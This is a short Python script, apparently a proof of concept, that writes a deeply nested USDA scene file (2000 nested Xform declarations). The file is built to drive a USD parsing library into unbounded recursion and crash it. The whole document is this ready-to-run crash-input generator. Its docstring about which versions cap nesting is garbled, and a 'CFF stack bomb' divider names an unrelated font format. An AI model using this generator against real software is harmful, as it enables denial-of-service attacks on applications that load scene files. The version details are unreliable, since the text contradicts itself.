#!/usr/bin/env python3 def build_usda(depth=2000): """libusd_ms 24.1.30 caps USDA declaration nesting in 24.1.32; 27.0 recurses unbounded.""" head = "#usda 1.0\n\n" body = "".join('def Xform "n%d" {' % i for i in range(depth)) tail = "}" * depth return (head + body + tail + "\n").encode() # --------------------------------------------------------------------------- CFF stack bomb if __name__ == "__main__": import sys out = sys.argv[1] if len(sys.argv) > 1 else "deep_nest.usda" open(out, "wb").write(build_usda()) print("wrote", out)